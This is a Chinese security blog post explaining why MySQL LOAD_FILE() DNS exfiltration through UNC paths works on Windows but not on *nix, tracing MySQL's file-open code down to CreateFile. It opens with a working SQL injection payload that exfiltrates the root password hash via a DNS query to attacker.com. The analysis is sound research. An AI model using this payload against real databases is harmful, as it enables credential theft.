几天前和朋友在测试一个注入,想要使用MySQL通过load_file()函数,再由DNS查询传出注入出来的数据时候遇到的问题
以下语句1
SELECT LOAD_FILE (CONCAT ('\\\\' ,(SELECT password FROM mysql.user WHERE user ='root' LIMIT 1 ),'.attacker.com\\foobar' ));
只有Windows + MySQL才能成功通过DNS查询包传出我们想要的数据
而在*nix + MySQL环境下是无法成功的。
(大家可以试试)
这是为什么呢,我探究了一下背后的原理
MySQL load_file()函数相关的源码1
2
3
if ((file= mysql_file_open(key_file_loadfile,
file_name->ptr(), O_RDONLY, MYF(0 ))) < 0 )
goto err;
看一下mysql_file_open()这个函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static inline File
inline_mysql_file_open(
#ifdef HAVE_PSI_FILE_INTERFACE
PSI_file_key key, const char *src_file, uint src_line,
#endif
const char *filename, int flags, myf myFlags)
{
File file;
#ifdef HAVE_PSI_FILE_INTERFACE
struct PSI_file_locker *locker ;
PSI_file_locker_state state;
locker= PSI_FILE_CALL(get_thread_file_name_locker)
(&state, key, PSI_FILE_OPEN, filename, &locker);
if (likely(locker != NULL ))
{
PSI_FILE_CALL(start_file_open_wait)(locker, src_file, src_line);
file= my_open(filename, flags, myFlags);
PSI_FILE_CALL(end_file_open_wait_and_bind_to_descriptor)(locker, file);
return file;
}
#endif
file= my_open(filename, flags, myFlags);
return file;
}
可以看到my_open()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
File my_open (const char *FileName, int Flags, myf MyFlags)
{
File fd;
DBUG_ENTER("my_open" );
DBUG_PRINT("my" ,("Name: '%s' Flags: %d MyFlags: %d" ,
FileName, Flags, MyFlags));
#if defined(_WIN32)
fd= my_win_open(FileName, Flags);
#else
fd = open(FileName, Flags, my_umask);
#endif
fd= my_register_filename(fd, FileName, FILE_BY_OPEN, EE_FILENOTFOUND, MyFlags);
DBUG_RETURN(fd);
}
最终可以看到在不同的环境有两种打开my_win_open(),open()
继续追踪my_win_open()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
File my_win_sopen (const char *path, int oflag, int shflag, int pmode)
{
int fh;
int mask;
HANDLE osfh;
DWORD fileaccess;
DWORD fileshare;
DWORD filecreate;
DWORD fileattrib;
SECURITY_ATTRIBUTES SecurityAttributes;
DBUG_ENTER("my_win_sopen" );
if (check_if_legal_filename(path))
{
errno= EACCES;
DBUG_RETURN(-1 );
}
SecurityAttributes.nLength= sizeof (SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor= NULL ;
SecurityAttributes.bInheritHandle= !(oflag & _O_NOINHERIT);
switch (oflag & (_O_RDONLY | _O_WRONLY | _O_RDWR)) {
case _O_RDONLY:
fileaccess= GENERIC_READ;
break ;
case _O_WRONLY:
fileaccess= GENERIC_WRITE;
break ;
case _O_RDWR:
fileaccess= GENERIC_READ | GENERIC_WRITE;
break ;
default :
errno= EINVAL;
DBUG_RETURN(-1 );
}
switch (shflag) {
case _SH_DENYRW:
fileshare= FILE_SHARE_DELETE;
break ;
case _SH_DENYWR:
fileshare= FILE_SHARE_READ | FILE_SHARE_DELETE;
break ;
case _SH_DENYRD:
fileshare= FILE_SHARE_WRITE | FILE_SHARE_DELETE;
break ;
case _SH_DENYNO:
fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE;
break ;
case _SH_DENYRWD:
fileshare= 0L ;
break ;
case _SH_DENYWRD:
fileshare= FILE_SHARE_READ;
break ;
case _SH_DENYRDD:
fileshare= FILE_SHARE_WRITE;
break ;
case _SH_DENYDEL:
fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE;
break ;
default :
errno= EINVAL;
DBUG_RETURN(-1 );
}
switch (oflag & (_O_CREAT | _O_EXCL | _O_TRUNC)) {
case 0 :
case _O_EXCL:
filecreate= OPEN_EXISTING;
break ;
case _O_CREAT:
filecreate= OPEN_ALWAYS;
break ;
case _O_CREAT | _O_EXCL:
case _O_CREAT | _O_TRUNC | _O_EXCL:
filecreate= CREATE_NEW;
break ;
case _O_TRUNC:
case _O_TRUNC | _O_EXCL:
filecreate= TRUNCATE_EXISTING;
break ;
case _O_CREAT | _O_TRUNC:
filecreate= CREATE_ALWAYS;
break ;
default :
errno= EINVAL;
DBUG_RETURN(-1 );
}
fileattrib= FILE_ATTRIBUTE_NORMAL;
if (oflag & _O_CREAT)
{
_umask((mask= _umask(0 )));
if (!((pmode & ~mask) & _S_IWRITE))
fileattrib= FILE_ATTRIBUTE_READONLY;
}
if (oflag & _O_TEMPORARY)
{
fileattrib|= FILE_FLAG_DELETE_ON_CLOSE;
fileaccess|= DELETE;
}
if (oflag & _O_SHORT_LIVED)
fileattrib|= FILE_ATTRIBUTE_TEMPORARY;
if (oflag & _O_SEQUENTIAL)
fileattrib|= FILE_FLAG_SEQUENTIAL_SCAN;
else if (oflag & _O_RANDOM)
fileattrib|= FILE_FLAG_RANDOM_ACCESS;
if ((osfh= CreateFile(path, fileaccess, fileshare, &SecurityAttributes,
filecreate, fileattrib, NULL )) == INVALID_HANDLE_VALUE)
{
my_osmaperr(GetLastError());
DBUG_RETURN(-1 );
}
if ((fh= my_open_osfhandle(osfh,
oflag & (_O_APPEND | _O_RDONLY | _O_TEXT))) == -1 )
{
CloseHandle(osfh);
}
DBUG_RETURN(fh);
}
可以看到load_file()打开文件使用了Win32 API CreateFile()函数
CreateFile 在 MSDN 上的文档
传送门
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
可以看到CreateFile()这个函数支持Universal Naming Conventions(UNC)
可以去访问远程的域名主机上的文件,在UNC中是支持域名进行远程主机访问的,既然要访问域名就必然进行DNS解析请求,从而传出数据。
文档节选:host-name: The host name of a server or the domain name of a domain hosting resource, using the syntax of IPv6address, IPv4address, and reg-name as specified in[RFC3986]
假设MySQL源码里面Win32下用的是C标准库函数fopen(),那么我们就无法通过DNS查询包传送出来我们的数据。(最终都是调用到了CreateFile* 感谢zcgonvh)
并且普通的*nix下是更加无法进行DNS查询,传出我们想要的数据的。
因为仅仅用了一个普通的open()函数(这个函数是在另一个头里,我也进行了追踪,但是最后发现其实也只能打开本地文件)
即使重新做了一个函数可以打开网络中的其他文件,没有类似UNC这背后的一套体系,这种注入出数据的手法也进行不下去。
很佩服第一个想到用DNS来传送SQL注入的数据的人,他肯定是看了MySQL的源码,并且对Windows的API相当熟悉的人。
Reference:https://msdn.microsoft.com/en-us/library/gg465305.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
==============勘误=============== zcgonvh进行了调试,在Windows VC库函数中Fopen实际上最后调用的也是kernel32.dll里的CreateFile*这类Win32 API,所以必然也是支持自家的unc的。